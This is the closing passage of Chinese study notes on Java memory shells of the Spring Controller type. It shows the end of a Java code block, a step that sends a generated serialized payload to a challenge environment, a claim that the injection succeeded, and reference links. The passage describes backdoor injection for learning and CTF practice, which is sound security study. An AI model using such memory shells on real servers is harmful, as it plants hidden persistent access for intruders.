  79. }catch(Exception e){
  80. e.printStackTrace();
  81. }
  82. }
  83. }

运行这个而得到序列化字符串。打到题目环境里。

Java内存马学习笔记-Controller - 图10

注入内存马成功

Java内存马学习笔记-Controller - 图11

参考

https://xz.aliyun.com/t/10467

https://www.anquanke.com/post/id/198886#h3-2

https://my.oschina.net/u/4587690/blog/4649301

http://wjlshare.com/archives/1541

http://wjlshare.com/archives/1536

https://su18.org/post/memory-shell/#控制器-拦截器-管道

https://xz.aliyun.com/t/8979#toc-6